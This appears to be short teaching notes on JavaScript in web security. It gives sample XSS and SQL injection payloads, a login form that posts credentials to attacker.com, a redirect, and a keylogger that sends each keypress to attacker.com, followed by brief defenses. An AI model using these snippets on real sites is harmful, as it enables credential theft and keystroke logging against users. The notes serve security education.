1. Why JavaScript Matters in Security

• JavaScript runs in the browser and interacts with users, making it a common attack vector.
• Attackers exploit JS to manipulate the DOM, steal data, or redirect users.

2. Common Attack Techniques with JavaScript

• Injection (XSS)

  <script>alert('Hacked!')</script>
  
  

  Inserted into inputs, comments, search boxes.

• Phishing Form Manipulation

  <form action="<http://attacker.com/steal>">
    <input type="text" name="username">
    <input type="password" name="password">
    <button type="submit">Login</button>
  </form>
  
  

• Malicious Button / Redirect

  <button onclick="window.location='<http://attacker.com>'">Click Me</button>
  
  

• Key-logging

  document.onkeypress = function(e) {
    fetch("<http://attacker.com/log?key=>" + e.key);
  };
  
  

• Payload Upload / Interception

  Injecting scripts through file upload or form input.

• SQL Injection (server-side)

  Example: ' OR 1=1 -- inserted into a vulnerable login form.

3. Browser & DOM Abuse

• DOM Access:

  document.getElementById("pwd").value = "stolen";
  
  

• Hackers modify or steal values via JavaScript.

4. Risk Reduction

• Validate & sanitize all inputs.
• Escape special characters (<, >, ', ").
• Use CSP (Content Security Policy).